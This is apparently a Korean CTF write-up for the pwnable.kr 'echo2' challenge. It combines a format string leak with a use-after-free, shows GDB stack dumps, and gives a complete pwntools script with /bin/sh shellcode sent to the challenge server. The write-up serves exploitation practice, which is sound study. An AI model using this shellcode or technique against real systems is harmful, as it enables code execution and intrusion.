FSB 발생 확인


hello abcd

AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x

AAAA  250005f be7d2790 38252078 38252078 be9ed700 41414141 goodbye abcd





Exploit 방안 탐색

FSB를 활용할수 있으므로 %n을 이용해 메모리 write를 통해 exploit(GOT overwriting 등) 할 수 있으나 입력할 수 있는 바이트 수가 길지 않은 상황임
또한 이 문제에선 UAF 취약점도 가지고 있으므로 
i) 쉘코드를 메모리에 쓰고
ii) 쉘코드가 올라간 주소를 알 경우
쉘코드를 실행, 쉘을 딸 수 있다.

사용자 입력을 받는 부분을 살펴보면 다음과 같이 사용자 이름을 24바이트만큼 받는 것을 확인할 수 있다.


이 메모리를 이용해 쉘코드를 업로드하면 메모리 주소만 알면 끝나는데 서버는 ASLR이 enable 되어있는 상태이므로 주소확인이 필요하다.
FSB 취약점을 이용해 메모리 쓰기 뿐 아니라 스택의 값들을 모두 출력해 볼 수 있으므로 스택에 들어있는 메모리 주소를 이용해 위 메모리의 주소를 구할 수 있다.


사용자 이름을 AAAA, FSB 내용 입력을 aaaa.%x..... 로 입력한 상황,
GDB를 이용해 FSB 취약점 내용이 출력되는 printf 직전에 스택 값들을 확인해보면

(gdb) x/64wx $rsp-0x20

0x7fffffffdc10: 0xffffdd70      0x00000020      0xffffdc30      0x00007fff

0x7fffffffdc20: 0xffffdc50      0x00007fff      0x00400858      0x00000000

0x7fffffffdc30: 0x61616161      0x2e783825      0x2e783825      0x2e783825

0x7fffffffdc40: 0x2e783825      0x2e783825      0x2e783825      0x00783825

0x7fffffffdc50: 0xffffdc90      0x00007fff      0x00400acb      0x00000000

0x7fffffffdc60: 0xffffdc90      0x00007fff      0x00000000      0x00000002

0x7fffffffdc70: 0x41414141      0x00000000      0x004006b0      0x00000000

0x7fffffffdc80: 0xffffdd70      0x00007fff      0x00000000      0x00000000

0x7fffffffdc90: 0x00000000      0x00000000      0xf7a36ec5      0x00007fff

0x7fffffffdca0: 0x00000000      0x00000000      0xffffdd78      0x00007fff



위와 같이 0x7fffffffdc50 메모리 번지에 스택의 주소가 들어있는 것을 확인해볼 수 있고 해당 주소에서 0x20 만큼을 빼면 우리가 원하는 메모리의 주소를 구할 수 있다.(물론 GDB에서 출력한 메모리 주소는 변동되지만 offset은 일정하므로)






Exploit 코드



from pwn import *

shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"

shellcode+="\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


#sh=process("/home/u64/Desktop/echo2/echo2_ori")

sh=remote("pwnable.kr",9011)

sh.recvuntil(":")

sh.sendline(shellcode)

print sh.recvuntil("> ")

sh.sendline("2")

sh.recvline()

sh.sendline("%x%x%x%x%x%x%x%x%xS%lx")

addr = sh.recvline()

addr = addr[addr.index("S")+1:].strip()

name=int(addr,16)-0x20

sh.recvuntil(">")

sh.sendline("4")

sh.sendline("n")

sh.recvuntil(">")

sh.sendline("3")

sh.recvline()

sh.sendline("A"*24+p64(name))

sh.interactive()




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] simple login - 50pt  (0) 2016.08.23

+ Recent posts